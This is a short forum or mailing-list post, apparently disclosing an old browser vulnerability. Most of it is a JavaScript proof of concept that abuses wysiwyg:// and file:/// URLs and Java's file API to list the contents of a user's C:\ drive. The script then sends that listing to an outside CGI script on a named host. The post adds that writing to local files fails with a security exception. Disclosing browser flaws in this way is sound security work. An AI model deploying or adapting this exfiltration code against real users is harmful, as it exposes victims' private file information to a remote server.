And if you wish, it can even read your directory structure: (works for
Win, but Unix should be straightforward)

//slight change of Trev's script:
<SCRIPT>
alert("List your files in C:\\ and it will be sent to a cgi script.");

sl=window.open("wysiwyg://1/file:///C|/");
sl2=sl.window.open();
sl2.location="javascript:s='<SCRIPT>b=\"\";var f = new
java.io.File(\"C:\\\\\\\\\"); var fl=f.list(); i=0; while(i < fl.length)
{b += fl[i]+\"\\\\n\";
i++;}w=window.open(\"http://www.kics.bc.ca/~trev/cgi-bin/query_string.cgi?\"+escape(b));</'+'SCRIPT>'";

</SCRIPT>


At least it seems it can not *write* to local files,
I get a security exception when I try that.
